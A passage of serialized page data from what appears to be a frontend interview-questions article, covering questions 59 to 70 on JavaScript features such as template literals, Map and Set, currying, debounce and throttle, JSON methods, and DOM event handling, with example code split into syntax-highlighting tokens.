2, 3, 4]      // others = [2, 3, 4]\n",[18,46720,46721,46740,46771,46775],{"__ignoreMap":128},[132,46722,46723,46725,46727,46729,46731,46734,46737],{"class":134,"line":135},[132,46724,260],{"class":209},[132,46726,46157],{"class":158},[132,46728,243],{"class":138},[132,46730,18033],{"class":209},[132,46732,46733],{"class":697},"nums",[132,46735,46736],{"class":138},") {                       ",[132,46738,46739],{"class":397},"// collects all args\n",[132,46741,46742,46744,46746,46748,46750,46752,46754,46756,46758,46760,46762,46764,46767,46769],{"class":134,"line":149},[132,46743,706],{"class":209},[132,46745,46095],{"class":138},[132,46747,15249],{"class":158},[132,46749,6351],{"class":138},[132,46751,23],{"class":697},[132,46753,581],{"class":138},[132,46755,18048],{"class":697},[132,46757,5284],{"class":138},[132,46759,2662],{"class":209},[132,46761,43967],{"class":138},[132,46763,15268],{"class":209},[132,46765,46766],{"class":138}," b, ",[132,46768,246],{"class":233},[132,46770,249],{"class":138},[132,46772,46773],{"class":134,"line":176},[132,46774,281],{"class":138},[132,46776,46777,46779,46781,46783,46785,46787,46790,46792,46794,46796,46798,46800,46802,46804,46806,46808,46810,46813],{"class":134,"line":186},[132,46778,230],{"class":209},[132,46780,5849],{"class":138},[132,46782,5852],{"class":233},[132,46784,581],{"class":138},[132,46786,18033],{"class":209},[132,46788,46789],{"class":233},"others",[132,46791,3646],{"class":138},[132,46793,162],{"class":209},[132,46795,5849],{"class":138},[132,46797,1567],{"class":233},[132,46799,581],{"class":138},[132,46801,1570],{"class":233},[132,46803,581],{"class":138},[132,46805,3633],{"class":233},[132,46807,581],{"class":138},[132,46809,4704],{"class":233},[132,46811,46812],{"class":138},"]      ",[132,46814,46815],{"class":397},"// others = [2, 3, 4]\n",[11,46817,46818,46819,46821,46822,46825,46826,46829],{},"Rule of thumb: if ",[18,46820,18033],{}," is on the ",[62,46823,46824],{},"right side"," of the assignment (or inside a call / literal), it is spread. If it is on the ",[62,46827,46828],{},"left side"," (in a parameter list or destructuring), it is rest.",[34,46831,46833],{"id":46832},"_59-what-are-template-literals","59. What are template literals?",[11,46835,46836,46837,46840],{},"Template literals are strings written with backticks instead of quotes. They give you two superpowers: variable interpolation with ",[18,46838,46839],{},"${...}",", and multi line strings without escape characters.",[123,46842,46844],{"className":388,"code":46843,"language":390,"meta":128,"style":128},"const name = 'Ada'\nconst age = 30\n\nconst greeting = `Hello, ${name}!\nYou are ${age} years old.\nNext year you will be ${age + 1}.`\n",[18,46845,46846,46857,46869,46873,46890,46900],{"__ignoreMap":128},[132,46847,46848,46850,46852,46854],{"class":134,"line":135},[132,46849,230],{"class":209},[132,46851,9161],{"class":233},[132,46853,237],{"class":209},[132,46855,46856],{"class":165}," 'Ada'\n",[132,46858,46859,46861,46864,46866],{"class":134,"line":149},[132,46860,230],{"class":209},[132,46862,46863],{"class":233}," age",[132,46865,237],{"class":209},[132,46867,46868],{"class":233}," 30\n",[132,46870,46871],{"class":134,"line":176},[132,46872,190],{"emptyLinePlaceholder":189},[132,46874,46875,46877,46880,46882,46885,46887],{"class":134,"line":186},[132,46876,230],{"class":209},[132,46878,46879],{"class":233}," greeting",[132,46881,237],{"class":209},[132,46883,46884],{"class":165}," `Hello, ${",[132,46886,3866],{"class":138},[132,46888,46889],{"class":165},"}!\n",[132,46891,46892,46895,46897],{"class":134,"line":193},[132,46893,46894],{"class":165},"You are ${",[132,46896,46450],{"class":138},[132,46898,46899],{"class":165},"} years old.\n",[132,46901,46902,46905,46907,46910,46913],{"class":134,"line":206},[132,46903,46904],{"class":165},"Next year you will be ${",[132,46906,46450],{"class":138},[132,46908,46909],{"class":209}," +",[132,46911,46912],{"class":233}," 1",[132,46914,46915],{"class":165},"}.`\n",[11,46917,46918,46919,46921,46922,46925],{},"You can put any JavaScript expression inside ",[18,46920,46839],{},", not just variables. There is also a more advanced form called ",[62,46923,46924],{},"tagged templates",", where you prefix the literal with a function name and the function receives the parts of the string and the values separately. Libraries like styled components use that to write CSS inside JavaScript.",[34,46927,46929,46930,592,46933,1349],{"id":46928},"_60-what-is-the-difference-between-forin-and-forof","60. What is the difference between ",[18,46931,46932],{},"for...in",[18,46934,46935],{},"for...of",[11,46937,46938],{},"This trips up beginners constantly, because the names are so similar.",[11,46940,46941,46943,46944,46947],{},[18,46942,46932],{}," iterates over the ",[62,46945,46946],{},"keys"," of an object's enumerable properties (including inherited ones). It is meant for objects.",[11,46949,46950,46943,46952,46955],{},[18,46951,46935],{},[62,46953,46954],{},"values"," of any iterable, like arrays, strings, Maps, Sets, and generators. It is meant for collections.",[123,46957,46959],{"className":388,"code":46958,"language":390,"meta":128,"style":128},"const obj = { a: 1, b: 2 }\nfor (const key in obj) console.log(key)        // 'a', 'b'\n\nconst arr = [10, 20, 30]\nfor (const value of arr) console.log(value)    // 10, 20, 30\n",[18,46960,46961,46981,47007,47011,47033],{"__ignoreMap":128},[132,46962,46963,46965,46967,46969,46972,46974,46977,46979],{"class":134,"line":135},[132,46964,230],{"class":209},[132,46966,4431],{"class":233},[132,46968,237],{"class":209},[132,46970,46971],{"class":138}," { a: ",[132,46973,1567],{"class":233},[132,46975,46976],{"class":138},", b: ",[132,46978,1570],{"class":233},[132,46980,14078],{"class":138},[132,46982,46983,46986,46988,46990,46993,46996,46999,47001,47004],{"class":134,"line":149},[132,46984,46985],{"class":209},"for",[132,46987,5454],{"class":138},[132,46989,230],{"class":209},[132,46991,46992],{"class":233}," key",[132,46994,46995],{"class":209}," in",[132,46997,46998],{"class":138}," obj) console.",[132,47000,3143],{"class":158},[132,47002,47003],{"class":138},"(key)        ",[132,47005,47006],{"class":397},"// 'a', 'b'\n",[132,47008,47009],{"class":134,"line":176},[132,47010,190],{"emptyLinePlaceholder":189},[132,47012,47013,47015,47017,47019,47021,47023,47025,47027,47029,47031],{"class":134,"line":186},[132,47014,230],{"class":209},[132,47016,46600],{"class":233},[132,47018,237],{"class":209},[132,47020,5849],{"class":138},[132,47022,46412],{"class":233},[132,47024,581],{"class":138},[132,47026,46417],{"class":233},[132,47028,581],{"class":138},[132,47030,46422],{"class":233},[132,47032,8852],{"class":138},[132,47034,47035,47037,47039,47041,47043,47046,47049,47051,47054],{"class":134,"line":193},[132,47036,46985],{"class":209},[132,47038,5454],{"class":138},[132,47040,230],{"class":209},[132,47042,4798],{"class":233},[132,47044,47045],{"class":209}," of",[132,47047,47048],{"class":138}," arr) console.",[132,47050,3143],{"class":158},[132,47052,47053],{"class":138},"(value)    ",[132,47055,47056],{"class":397},"// 10, 20, 30\n",[11,47058,47059,47060,47062,47063,47065],{},"For arrays, always use ",[18,47061,46935],{},". Using ",[18,47064,46932],{}," on an array is a classic source of bugs, because it can pick up extra properties on the array (added by libraries or by you), and the keys are strings, not numbers.",[34,47067,47069,47070,592,47073,1349],{"id":47068},"_61-what-are-map-and-set","61. What are ",[18,47071,47072],{},"Map",[18,47074,47075],{},"Set",[11,47077,47078,47080,47081,47084,47085,581,47088,581,47091,581,47094,47097,47098,41833],{},[18,47079,47072],{}," is a key value collection like an object, but with two big improvements: keys can be ",[62,47082,47083],{},"any type"," (objects, functions, anything), and the order of insertion is preserved. It also has a clean API (",[18,47086,47087],{},".set",[18,47089,47090],{},".get",[18,47092,47093],{},".has",[18,47095,47096],{},".delete",") and a real ",[18,47099,47100],{},".size",[11,47102,47103,47105],{},[18,47104,47075],{}," is a collection of unique values. If you add the same value twice, it is only stored once. Insertion order is preserved.",[123,47107,47109],{"className":388,"code":47108,"language":390,"meta":128,"style":128},"const userScores = new Map()\nconst ada = { id: 1 }\nuserScores.set(ada, 95)        // object as key\nuserScores.get(ada)            // 95\n\nconst tags = new Set(['js', 'css', 'js'])\ntags.size                      // 2\ntags.has('css')                // true\n",[18,47110,47111,47127,47143,47161,47173,47177,47207,47214],{"__ignoreMap":128},[132,47112,47113,47115,47118,47120,47122,47125],{"class":134,"line":135},[132,47114,230],{"class":209},[132,47116,47117],{"class":233}," userScores",[132,47119,237],{"class":209},[132,47121,6371],{"class":209},[132,47123,47124],{"class":158}," Map",[132,47126,4951],{"class":138},[132,47128,47129,47131,47134,47136,47139,47141],{"class":134,"line":149},[132,47130,230],{"class":209},[132,47132,47133],{"class":233}," ada",[132,47135,237],{"class":209},[132,47137,47138],{"class":138}," { id: ",[132,47140,1567],{"class":233},[132,47142,14078],{"class":138},[132,47144,47145,47148,47150,47153,47156,47158],{"class":134,"line":176},[132,47146,47147],{"class":138},"userScores.",[132,47149,3679],{"class":158},[132,47151,47152],{"class":138},"(ada, ",[132,47154,47155],{"class":233},"95",[132,47157,3766],{"class":138},[132,47159,47160],{"class":397},"// object as key\n",[132,47162,47163,47165,47167,47170],{"class":134,"line":186},[132,47164,47147],{"class":138},[132,47166,3676],{"class":158},[132,47168,47169],{"class":138},"(ada)            ",[132,47171,47172],{"class":397},"// 95\n",[132,47174,47175],{"class":134,"line":193},[132,47176,190],{"emptyLinePlaceholder":189},[132,47178,47179,47181,47184,47186,47188,47191,47193,47196,47198,47201,47203,47205],{"class":134,"line":206},[132,47180,230],{"class":209},[132,47182,47183],{"class":233}," tags",[132,47185,237],{"class":209},[132,47187,6371],{"class":209},[132,47189,47190],{"class":158}," Set",[132,47192,3622],{"class":138},[132,47194,47195],{"class":165},"'js'",[132,47197,581],{"class":138},[132,47199,47200],{"class":165},"'css'",[132,47202,581],{"class":138},[132,47204,47195],{"class":165},[132,47206,3636],{"class":138},[132,47208,47209,47212],{"class":134,"line":222},[132,47210,47211],{"class":138},"tags.size                      ",[132,47213,44484],{"class":397},[132,47215,47216,47219,47221,47223,47225,47228],{"class":134,"line":227},[132,47217,47218],{"class":138},"tags.",[132,47220,3682],{"class":158},[132,47222,243],{"class":138},[132,47224,47200],{"class":165},[132,47226,47227],{"class":138},")                ",[132,47229,47230],{"class":397},"// true\n",[11,47232,47233],{},"Maps and Sets shine when you need fast inserts and deletes, when you do not want the prototype pollution issues of plain objects, or when you need non string keys.",[34,47235,47237,47238,592,47240,1349],{"id":47236},"_62-what-is-the-difference-between-object-and-map","62. What is the difference between ",[18,47239,6847],{},[18,47241,47072],{},[11,47243,47244],{},"Both store key value pairs, but they have different design goals.",[479,47246,47247,47257],{},[482,47248,47249],{},[485,47250,47251,47253,47255],{},[488,47252,40092],{},[488,47254,6847],{},[488,47256,47072],{},[498,47258,47259,47270,47281,47297,47313,47328],{},[485,47260,47261,47264,47267],{},[503,47262,47263],{},"Key types",[503,47265,47266],{},"Strings and Symbols only",[503,47268,47269],{},"Any value (objects, functions, ...)",[485,47271,47272,47275,47278],{},[503,47273,47274],{},"Insertion order",[503,47276,47277],{},"Mostly preserved (with some rules)",[503,47279,47280],{},"Always preserved",[485,47282,47283,47286,47292],{},[503,47284,47285],{},"Size",[503,47287,47288,47289],{},"Manual: ",[18,47290,47291],{},"Object.keys(o).length",[503,47293,47294,47296],{},[18,47295,47100],{}," property",[485,47298,47299,47302,47308],{},[503,47300,47301],{},"Iteration",[503,47303,47304,47305],{},"Indirect, via ",[18,47306,47307],{},"Object.keys/entries",[503,47309,47310,47311],{},"Built in, ",[18,47312,46935],{},[485,47314,47315,47318,47325],{},[503,47316,47317],{},"Default keys (prototype)",[503,47319,47320,47321,47324],{},"Has inherited keys (",[18,47322,47323],{},"toString",", etc)",[503,47326,47327],{},"Truly empty",[485,47329,47330,47333,47336],{},[503,47331,47332],{},"Performance for frequent add / delete",[503,47334,47335],{},"Slower in many engines",[503,47337,47338],{},"Faster",[11,47340,47341,47342,47344],{},"Use a plain object for small, fixed shape records (like a config). Use a ",[18,47343,47072],{}," when keys are dynamic, or come from user input, or are non strings, or when you add and remove a lot.",[34,47346,47348],{"id":47347},"_63-what-is-currying","63. What is currying?",[11,47350,47351],{},"Currying is the technique of turning a function that takes many arguments into a chain of functions that each take one argument, returning the next function until you have all of them.",[123,47353,47355],{"className":388,"code":47354,"language":390,"meta":128,"style":128},"// Normal\nfunction add(a, b, c) { return a + b + c }\nadd(1, 2, 3)            // 6\n\n// Curried\nconst addCurried = a => b => c => a + b + c\naddCurried(1)(2)(3)     // 6\n",[18,47356,47357,47362,47395,47418,47422,47427,47460],{"__ignoreMap":128},[132,47358,47359],{"class":134,"line":135},[132,47360,47361],{"class":397},"// Normal\n",[132,47363,47364,47366,47368,47370,47372,47374,47376,47378,47380,47382,47384,47386,47388,47390,47392],{"class":134,"line":149},[132,47365,260],{"class":209},[132,47367,44642],{"class":158},[132,47369,243],{"class":138},[132,47371,23],{"class":697},[132,47373,581],{"class":138},[132,47375,18048],{"class":697},[132,47377,581],{"class":138},[132,47379,46403],{"class":697},[132,47381,44262],{"class":138},[132,47383,972],{"class":209},[132,47385,43967],{"class":138},[132,47387,15268],{"class":209},[132,47389,43979],{"class":138},[132,47391,15268],{"class":209},[132,47393,47394],{"class":138}," c }\n",[132,47396,47397,47400,47402,47404,47406,47408,47410,47412,47415],{"class":134,"line":176},[132,47398,47399],{"class":158},"add",[132,47401,243],{"class":138},[132,47403,1567],{"class":233},[132,47405,581],{"class":138},[132,47407,1570],{"class":233},[132,47409,581],{"class":138},[132,47411,3633],{"class":233},[132,47413,47414],{"class":138},")            ",[132,47416,47417],{"class":397},"// 6\n",[132,47419,47420],{"class":134,"line":186},[132,47421,190],{"emptyLinePlaceholder":189},[132,47423,47424],{"class":134,"line":193},[132,47425,47426],{"class":397},"// Curried\n",[132,47428,47429,47431,47434,47436,47438,47440,47442,47444,47447,47449,47451,47453,47455,47457],{"class":134,"line":206},[132,47430,230],{"class":209},[132,47432,47433],{"class":158}," addCurried",[132,47435,237],{"class":209},[132,47437,46226],{"class":697},[132,47439,2675],{"class":209},[132,47441,46689],{"class":697},[132,47443,2675],{"class":209},[132,47445,47446],{"class":697}," c",[132,47448,2675],{"class":209},[132,47450,43967],{"class":138},[132,47452,15268],{"class":209},[132,47454,43979],{"class":138},[132,47456,15268],{"class":209},[132,47458,47459],{"class":138}," c\n",[132,47461,47462,47465,47467,47469,47472,47474,47476,47478,47480],{"class":134,"line":222},[132,47463,47464],{"class":158},"addCurried",[132,47466,243],{"class":138},[132,47468,1567],{"class":233},[132,47470,47471],{"class":138},")(",[132,47473,1570],{"class":233},[132,47475,47471],{"class":138},[132,47477,3633],{"class":233},[132,47479,4087],{"class":138},[132,47481,47417],{"class":397},[11,47483,47484,47485,47488],{},"The point of currying is ",[62,47486,47487],{},"partial application",": you can fix some arguments now and leave the rest for later, producing a specialised function from a general one.",[123,47490,47492],{"className":388,"code":47491,"language":390,"meta":128,"style":128},"const add = a => b => a + b\nconst add5 = add(5)\nadd5(3)                  // 8\nadd5(10)                 // 15\n",[18,47493,47494,47516,47533,47547],{"__ignoreMap":128},[132,47495,47496,47498,47500,47502,47504,47506,47508,47510,47512,47514],{"class":134,"line":135},[132,47497,230],{"class":209},[132,47499,44642],{"class":158},[132,47501,237],{"class":209},[132,47503,46226],{"class":697},[132,47505,2675],{"class":209},[132,47507,46689],{"class":697},[132,47509,2675],{"class":209},[132,47511,43967],{"class":138},[132,47513,15268],{"class":209},[132,47515,44663],{"class":138},[132,47517,47518,47520,47523,47525,47527,47529,47531],{"class":134,"line":149},[132,47519,230],{"class":209},[132,47521,47522],{"class":233}," add5",[132,47524,237],{"class":209},[132,47526,44642],{"class":158},[132,47528,243],{"class":138},[132,47530,20354],{"class":233},[132,47532,249],{"class":138},[132,47534,47535,47538,47540,47542,47545],{"class":134,"line":176},[132,47536,47537],{"class":158},"add5",[132,47539,243],{"class":138},[132,47541,3633],{"class":233},[132,47543,47544],{"class":138},")                  ",[132,47546,4710],{"class":397},[132,47548,47549,47551,47553,47555,47558],{"class":134,"line":186},[132,47550,47537],{"class":158},[132,47552,243],{"class":138},[132,47554,46412],{"class":233},[132,47556,47557],{"class":138},")                 ",[132,47559,47560],{"class":397},"// 15\n",[11,47562,47563],{},"It is most popular in functional programming styles where you want small reusable functions you can compose.",[34,47565,47567],{"id":47566},"_64-what-is-debouncing-and-throttling","64. What is debouncing and throttling?",[11,47569,47570],{},"Both are techniques to control how often a function runs in response to a stream of events (like keystrokes, scrolling, or window resizing). They sound similar but solve different problems.",[11,47572,47573,47576,47577,47579],{},[62,47574,47575],{},"Debounce"," waits for the events to ",[62,47578,5318],{}," for a given time, then runs the function once. It is perfect for things like a search input: you do not want to fire a request on every keystroke, you want to fire one when the user pauses typing.",[11,47581,47582,47585],{},[62,47583,47584],{},"Throttle"," runs the function at most once every X milliseconds, no matter how many events come in. It is perfect for things like scroll handlers: you want regular updates, but not 200 of them per second.",[123,47587,47589],{"className":388,"code":47588,"language":390,"meta":128,"style":128},"function debounce(fn, delay) {\n    let timer\n    return (...args) => {\n        clearTimeout(timer)\n        timer = setTimeout(() => fn(...args), delay)\n    }\n}\n\nfunction throttle(fn, limit) {\n    let lastRun = 0\n    return (...args) => {\n        const now = Date.now()\n        if (now - lastRun >= limit) {\n            lastRun = now\n            fn(...args)\n        }\n    }\n}\n",[18,47590,47591,47608,47615,47632,47639,47661,47665,47669,47673,47691,47702,47718,47732,47749,47759,47771,47775,47779],{"__ignoreMap":128},[132,47592,47593,47595,47598,47600,47602,47604,47606],{"class":134,"line":135},[132,47594,260],{"class":209},[132,47596,47597],{"class":158}," debounce",[132,47599,243],{"class":138},[132,47601,5050],{"class":697},[132,47603,581],{"class":138},[132,47605,17706],{"class":697},[132,47607,701],{"class":138},[132,47609,47610,47612],{"class":134,"line":149},[132,47611,44049],{"class":209},[132,47613,47614],{"class":138}," timer\n",[132,47616,47617,47619,47621,47623,47626,47628,47630],{"class":134,"line":176},[132,47618,706],{"class":209},[132,47620,5454],{"class":138},[132,47622,18033],{"class":209},[132,47624,47625],{"class":697},"args",[132,47627,5284],{"class":138},[132,47629,2662],{"class":209},[132,47631,316],{"class":138},[132,47633,47634,47637],{"class":134,"line":186},[132,47635,47636],{"class":158},"        clearTimeout",[132,47638,17243],{"class":138},[132,47640,47641,47644,47646,47648,47650,47652,47654,47656,47658],{"class":134,"line":193},[132,47642,47643],{"class":138},"        timer ",[132,47645,162],{"class":209},[132,47647,17253],{"class":158},[132,47649,2659],{"class":138},[132,47651,2662],{"class":209},[132,47653,44926],{"class":158},[132,47655,243],{"class":138},[132,47657,18033],{"class":209},[132,47659,47660],{"class":138},"args), delay)\n",[132,47662,47663],{"class":134,"line":206},[132,47664,870],{"class":138},[132,47666,47667],{"class":134,"line":222},[132,47668,281],{"class":138},[132,47670,47671],{"class":134,"line":227},[132,47672,190],{"emptyLinePlaceholder":189},[132,47674,47675,47677,47680,47682,47684,47686,47689],{"class":134,"line":252},[132,47676,260],{"class":209},[132,47678,47679],{"class":158}," throttle",[132,47681,243],{"class":138},[132,47683,5050],{"class":697},[132,47685,581],{"class":138},[132,47687,47688],{"class":697},"limit",[132,47690,701],{"class":138},[132,47692,47693,47695,47698,47700],{"class":134,"line":257},[132,47694,44049],{"class":209},[132,47696,47697],{"class":138}," lastRun ",[132,47699,162],{"class":209},[132,47701,7330],{"class":233},[132,47703,47704,47706,47708,47710,47712,47714,47716],{"class":134,"line":269},[132,47705,706],{"class":209},[132,47707,5454],{"class":138},[132,47709,18033],{"class":209},[132,47711,47625],{"class":697},[132,47713,5284],{"class":138},[132,47715,2662],{"class":209},[132,47717,316],{"class":138},[132,47719,47720,47722,47724,47726,47728,47730],{"class":134,"line":278},[132,47721,824],{"class":209},[132,47723,20864],{"class":233},[132,47725,237],{"class":209},[132,47727,20869],{"class":138},[132,47729,20872],{"class":158},[132,47731,4951],{"class":138},[132,47733,47734,47736,47739,47741,47743,47746],{"class":134,"line":284},[132,47735,14604],{"class":209},[132,47737,47738],{"class":138}," (now ",[132,47740,18058],{"class":209},[132,47742,47697],{"class":138},[132,47744,47745],{"class":209},">=",[132,47747,47748],{"class":138}," limit) {\n",[132,47750,47751,47754,47756],{"class":134,"line":293},[132,47752,47753],{"class":138},"            lastRun ",[132,47755,162],{"class":209},[132,47757,47758],{"class":138}," now\n",[132,47760,47761,47764,47766,47768],{"class":134,"line":298},[132,47762,47763],{"class":158},"            fn",[132,47765,243],{"class":138},[132,47767,18033],{"class":209},[132,47769,47770],{"class":138},"args)\n",[132,47772,47773],{"class":134,"line":311},[132,47774,857],{"class":138},[132,47776,47777],{"class":134,"line":319},[132,47778,870],{"class":138},[132,47780,47781],{"class":134,"line":331},[132,47782,281],{"class":138},[11,47784,47785],{},"Knowing which one to use is the real interview question: \"search box\" -> debounce; \"scroll position indicator\" -> throttle.",[34,47787,47789,47790,592,47793,1349],{"id":47788},"_65-what-is-the-difference-between-jsonstringify-and-jsonparse","65. What is the difference between ",[18,47791,47792],{},"JSON.stringify",[18,47794,47795],{},"JSON.parse",[11,47797,47798],{},"They are mirror image functions for working with JSON, the standard text format used by virtually every web API.",[11,47800,47801,47804,47805,47807],{},[18,47802,47803],{},"JSON.stringify(value)"," takes a JavaScript value (object, array, number, string, boolean, or ",[18,47806,719],{},") and returns a JSON string representation of it.",[11,47809,47810,47813],{},[18,47811,47812],{},"JSON.parse(text)"," takes a JSON string and returns the corresponding JavaScript value.",[123,47815,47817],{"className":388,"code":47816,"language":390,"meta":128,"style":128},"const user = { name: 'Ada', age: 30 }\nconst text = JSON.stringify(user)            // '{\"name\":\"Ada\",\"age\":30}'\nconst back = JSON.parse(text)                // { name: 'Ada', age: 30 }\n",[18,47818,47819,47838,47860],{"__ignoreMap":128},[132,47820,47821,47823,47825,47827,47829,47831,47834,47836],{"class":134,"line":135},[132,47822,230],{"class":209},[132,47824,6182],{"class":233},[132,47826,237],{"class":209},[132,47828,14072],{"class":138},[132,47830,5754],{"class":165},[132,47832,47833],{"class":138},", age: ",[132,47835,46422],{"class":233},[132,47837,14078],{"class":138},[132,47839,47840,47842,47845,47847,47850,47852,47854,47857],{"class":134,"line":149},[132,47841,230],{"class":209},[132,47843,47844],{"class":233}," text",[132,47846,237],{"class":209},[132,47848,47849],{"class":233}," JSON",[132,47851,385],{"class":138},[132,47853,16199],{"class":158},[132,47855,47856],{"class":138},"(user)            ",[132,47858,47859],{"class":397},"// '{\"name\":\"Ada\",\"age\":30}'\n",[132,47861,47862,47864,47867,47869,47871,47873,47875,47878],{"class":134,"line":176},[132,47863,230],{"class":209},[132,47865,47866],{"class":233}," back",[132,47868,237],{"class":209},[132,47870,47849],{"class":233},[132,47872,385],{"class":138},[132,47874,16150],{"class":158},[132,47876,47877],{"class":138},"(text)                ",[132,47879,47880],{"class":397},"// { name: 'Ada', age: 30 }\n",[11,47882,47883,47884,47886,47887,47889,47890,47893],{},"A few things worth knowing. ",[18,47885,47792],{}," silently drops functions, ",[18,47888,8597],{},", and Symbol values; it converts Dates to ISO strings (one way only); and it throws on circular references. For deep cloning real data, prefer ",[18,47891,47892],{},"structuredClone",". And remember that JSON keys must be double quoted strings, which catches a lot of people writing JSON by hand.",[29,47895,47897],{"id":47896},"dom-browser-and-events","DOM, Browser, and Events",[34,47899,47901],{"id":47900},"_66-what-is-the-dom","66. What is the DOM?",[11,47903,47904],{},"The DOM (Document Object Model) is the in memory tree the browser builds out of your HTML. Every tag, every attribute, every piece of text becomes a node in that tree. JavaScript talks to the page by reading and modifying this tree, not the original HTML text.",[11,47906,47907,47908,47911],{},"A useful way to think about it: HTML is the recipe, the DOM is the cake. Once the page is parsed, your JavaScript only ever sees the DOM. If you change the DOM (",[18,47909,47910],{},"element.textContent = 'Hi'","), the screen updates. If you change the original HTML string after the page has loaded, nothing happens, because the browser is no longer reading from it.",[34,47913,47915],{"id":47914},"_67-what-is-the-difference-between-the-dom-and-the-bom","67. What is the difference between the DOM and the BOM?",[11,47917,47918,47919,47921],{},"The DOM is the document tree: ",[18,47920,11700],{}," and everything under it (elements, text, attributes). It is the part of the browser API that lets you manipulate the page's content and structure.",[11,47923,47924,47925,47927,47928,581,47930,581,47933,581,47936,581,47938,47941],{},"The BOM (Browser Object Model) is everything else the browser exposes that is ",[62,47926,44282],{}," about the document content: ",[18,47929,11697],{},[18,47931,47932],{},"navigator",[18,47934,47935],{},"location",[18,47937,13235],{},[18,47939,47940],{},"screen",", alerts, prompts, and so on. These are things about the browser tab, the URL, and the user's environment.",[11,47943,47944,47945,47947,47948,47951,47952,47955],{},"Both are accessed through the global ",[18,47946,11697],{}," object. So ",[18,47949,47950],{},"window.document"," is the DOM, ",[18,47953,47954],{},"window.location"," is part of the BOM. In practice, you rarely care about the distinction by name; you just learn the bits you need.",[34,47957,47959,47960,581,47963,626,47965,1349],{"id":47958},"_68-what-is-the-difference-between-documentgetelementbyid-queryselector-and-queryselectorall","68. What is the difference between ",[18,47961,47962],{},"document.getElementById",[18,47964,41887],{},[18,47966,47967],{},"querySelectorAll",[11,47969,47970],{},"All three are ways to find elements in the DOM, but they differ in what they accept and what they return.",[56,47972,47973,47985,47996],{},[59,47974,47975,47978,47979,47981,47982,47984],{},[18,47976,47977],{},"getElementById('main')"," takes only an id (no ",[18,47980,9660],{}," prefix) and returns the element or ",[18,47983,719],{},". It is the fastest and oldest API.",[59,47986,47987,47990,47991,47993,47994,385],{},[18,47988,47989],{},"querySelector('.card .title')"," takes any CSS selector and returns the ",[62,47992,5852],{}," matching element or ",[18,47995,719],{},[59,47997,47998,48001,48002,48004],{},[18,47999,48000],{},"querySelectorAll('.card')"," takes any CSS selector and returns a ",[62,48003,42440],{}," NodeList of all matches. Static means it does not auto update if you add more matching elements later.",[123,48006,48008],{"className":388,"code":48007,"language":390,"meta":128,"style":128},"const el = document.getElementById('main')\nconst first = document.querySelector('.card .title')\nconst all = document.querySelectorAll('.card')\nall.forEach(card => card.classList.add('seen'))\n",[18,48009,48010,48031,48051,48071],{"__ignoreMap":128},[132,48011,48012,48014,48017,48019,48021,48024,48026,48029],{"class":134,"line":135},[132,48013,230],{"class":209},[132,48015,48016],{"class":233}," el",[132,48018,237],{"class":209},[132,48020,41884],{"class":138},[132,48022,48023],{"class":158},"getElementById",[132,48025,243],{"class":138},[132,48027,48028],{"class":165},"'main'",[132,48030,249],{"class":138},[132,48032,48033,48035,48038,48040,48042,48044,48046,48049],{"class":134,"line":149},[132,48034,230],{"class":209},[132,48036,48037],{"class":233}," first",[132,48039,237],{"class":209},[132,48041,41884],{"class":138},[132,48043,41887],{"class":158},[132,48045,243],{"class":138},[132,48047,48048],{"class":165},"'.card .title'",[132,48050,249],{"class":138},[132,48052,48053,48055,48058,48060,48062,48064,48066,48069],{"class":134,"line":176},[132,48054,230],{"class":209},[132,48056,48057],{"class":233}," all",[132,48059,237],{"class":209},[132,48061,41884],{"class":138},[132,48063,47967],{"class":158},[132,48065,243],{"class":138},[132,48067,48068],{"class":165},"'.card'",[132,48070,249],{"class":138},[132,48072,48073,48076,48078,48080,48083,48085,48088,48090,48092,48095],{"class":134,"line":186},[132,48074,48075],{"class":138},"all.",[132,48077,45992],{"class":158},[132,48079,243],{"class":138},[132,48081,48082],{"class":697},"card",[132,48084,2675],{"class":209},[132,48086,48087],{"class":138}," card.classList.",[132,48089,47399],{"class":158},[132,48091,243],{"class":138},[132,48093,48094],{"class":165},"'seen'",[132,48096,15413],{"class":138},[11,48098,48099,48100,6827,48102,48104,48105,48107],{},"Modern code uses ",[18,48101,41887],{},[18,48103,47967],{}," almost exclusively, because the selector syntax is so flexible. Reach for ",[18,48106,48023],{}," when you have an id and want the absolute fastest path.",[34,48109,48111],{"id":48110},"_69-what-is-event-bubbling-and-capturing","69. What is event bubbling and capturing?",[11,48113,48114],{},"When something happens on an element (a click, a keypress), the event does not just fire on that element. It travels through the DOM in three phases:",[14180,48116,48117,48126,48132],{},[59,48118,48119,48122,48123,48125],{},[62,48120,48121],{},"Capturing phase",": the event starts at ",[18,48124,11697],{}," and travels down through every ancestor toward the target.",[59,48127,48128,48131],{},[62,48129,48130],{},"Target phase",": the event reaches the actual element it was fired on.",[59,48133,48134,48137,48138,385],{},[62,48135,48136],{},"Bubbling phase",": the event travels back up through every ancestor to ",[18,48139,11697],{},[11,48141,48142],{},[1268,48143],{"alt":48144,"src":48145},"Event bubbling and capturing diagram","/post-images/top-100-frontend-interview-questions/event-bubbling-capturing-diagram.png",[11,48147,48148,48149,13456,48152,48154],{},"By default, your event listeners run during the bubbling phase. You can opt into capturing by passing ",[18,48150,48151],{},"{ capture: true }",[18,48153,12799],{},". The reason this exists is so that ancestors can react to events on descendants without having to attach listeners on every individual child, which leads us straight to the next concept.",[34,48156,48158],{"id":48157},"_70-what-is-event-delegation","70. What is event delegation?",[11,48160,48161,48162,48165],{},"Event delegation is a pattern where you attach a single listener to a common ancestor and use the event's ",[18,48163,48164],{},"target"," to figure out which child triggered it. It works because of bubbling: a click on a child eventually bubbles up to the parent, where your listener sees it.",[123,48167,48169],{"className":388,"code":48168,"language":390,"meta":128,"style":128},"document.querySelector('ul').addEventListener('click', (e) => {\n    const li = e.target.closest('li')\n    if (!li) return\n    console.log('Clicked', li.textContent)\n})\n",[18,48170,48171,48203,48225,48239,48253],{"__ignoreMap":128},[132,48172,48173,48176,48178,48180,48183,48185,48187,48189,48191,48194,48197,48199,48201],{"class":134,"line":135},[132,48174,48175],{"class":138},"document.",[132,48177,41887],{"class":158},[132,48179,243],{"class":138},[132,48181,48182],{"class":165},"'ul'",[132,48184,9122],{"class":138},[132,48186,12799],{"class":158},[132,48188,243],{"class":138},[132,48190,20117],{"class":165},[132,48192,48193],{"class":138},", (",[132,48195,48196],{"class":697},"e",[132,48198,5284],{"class":138},[132,48200,2662],{"class":209},[132,48202,316],{"class":138},[132,48204,48205,48207,48210,48212,48215,48218,48220,48223],{"class":134,"line":149},[132,48206,4242],{"class":209},[132,48208,48209],{"class":233}," li",[132,48211,237],{"class":209},[132,48213,48214],{"class":138}," 